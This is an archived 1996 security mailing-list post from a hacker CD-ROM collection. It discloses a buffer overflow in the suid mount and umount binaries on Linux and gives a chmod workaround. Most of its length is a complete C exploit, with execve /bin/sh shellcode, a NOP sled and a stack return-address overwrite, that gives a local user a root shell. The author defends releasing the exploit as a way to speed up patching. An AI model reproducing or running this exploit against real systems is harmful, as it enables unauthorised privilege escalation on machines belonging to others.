home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_mo.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.4 KB  |  137 lines

  1.  
  2.                  Vulnrability in all known Linux distributions
  3.                                        
  4.    bloodmask (bloodmask@mymail.com)
  5.    Tue, 13 Aug 1996 07:04:25 +0200
  6.    
  7. Greetings,
  8.  
  9. Well folks, After all the other security issues in Linux, I can't say
  10. I'm really that shocked about this one, anyway, read the officail covin
  11. release. After finding this one, we at covin decided it's time to put
  12. and end to this issue, and we've begun scanning all of Linux's suid
  13. binaries for other hints of these hidden "features", Results will be
  14. released soon. The reason we are also releasing the exploit, an act
  15. which may seem highly inresponsable, is due to previous expieriance that
  16. making the exploit widely available, ussually speeds up the proccess of
  17. patching up stupid vulnerabilities like these.
  18.  
  19.  
  20. BTW, This is kind of out of topic, but I figure, there's nothing wrong
  21. with killing two birds with one stone... Ijust noticed when installing
  22. the latest version of the shadow suite, taken from sunsite, that it
  23. "unpatched" the lib enviorment vulnerability on my system. I haven't had
  24. the time to determine *HOW* it exposed my system, but it would be wise
  25. to check up on this matter.
  26.  
  27. --------------2F3F790C537451604439D8BF
  28. Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit"
  29. Content-Transfer-Encoding: 7bit
  30. Content-Disposition: inline; filename="cvnmount.exploit"
  31.  
  32. Covin Security Releases:
  33. (mount bufferoverflow exploit v1.0)
  34.  
  35. Tested operated systems: All current distributions of Linux
  36.  
  37. Affect: Local users on systems affected can gain overflow mounts syntax
  38. buffer and execute a shell by overwriting the stack.
  39.  
  40. Affected binaries:
  41. (/bin/mount and /bin/umount)
  42.  
  43. Workaround:
  44. On all current distributions of Linux remove suid bit of /bin/mount and
  45. /bin/umount.
  46. [chmod -s /bin/mount;chmod -s /bin/umount]
  47.  
  48. Remarks:
  49. For gods sake, how many more times are we gonna see this kind of problem?
  50. It's been with Linux since it's very beggining, and it's so easy to
  51. exploit. Similiar buffer overflow vulnerabilities have been found in
  52. Linux distributions many times before, splitvt, dip, just to name a few
  53. examples.
  54.  
  55.  
  56. Any remarks, notes or other forms of feedback may be redirected to:
  57. bloodmask@mymail.com
  58. <------------------------------[ Cut here ]---------------------------------->
  59.  
  60. /* Mount Exploit for Linux, Jul 30 1996
  61.  
  62. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  63. ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
  64. :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
  65. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
  66. ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  67. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  68. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  69. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  70. ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
  71. :::::::...........:::...........:::...........::.......:......:.......::::::
  72. :::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
  73.  
  74. Discovered and Coded by Bloodmask & Vio
  75. Covin Security 1996
  76. */
  77.  
  78. #include <unistd.h>
  79. #include <stdio.h>
  80. #include <stdlib.h>
  81. #include <fcntl.h>
  82. #include <sys/stat.h>
  83.  
  84. #define PATH_MOUNT "/bin/umount"
  85. #define BUFFER_SIZE 1024
  86. #define DEFAULT_OFFSET 50
  87.  
  88. u_long get_esp()
  89. {
  90.   __asm__("movl %esp, %eax");
  91.  
  92. }
  93.  
  94. main(int argc, char **argv)
  95. {
  96.   u_char execshell[] =
  97.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  98.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  99.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  100.  
  101.    char *buff = NULL;
  102.    unsigned long *addr_ptr = NULL;
  103.    char *ptr = NULL;
  104.  
  105.    int i;
  106.    int ofs = DEFAULT_OFFSET;
  107.  
  108.    buff = malloc(4096);
  109.    if(!buff)
  110.    {
  111.       printf("can't allocate memory\n");
  112.       exit(0);
  113.    }
  114.    ptr = buff;
  115.  
  116.    /* fill start of buffer with nops */
  117.  
  118.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  119.    ptr += BUFFER_SIZE-strlen(execshell);
  120.  
  121.    /* stick asm code into the buffer */
  122.  
  123.    for(i=0;i < strlen(execshell);i++)
  124.       *(ptr++) = execshell[i];
  125.  
  126.    addr_ptr = (long *)ptr;
  127.    for(i=0;i < (8/4);i++)
  128.       *(addr_ptr++) = get_esp() + ofs;
  129.    ptr = (char *)addr_ptr;
  130.    *ptr = 0;
  131.  
  132.    (void)alarm((u_int)0);
  133.    printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
  134.    execl(PATH_MOUNT, "mount", buff, NULL);
  135. }
  136.  
  137.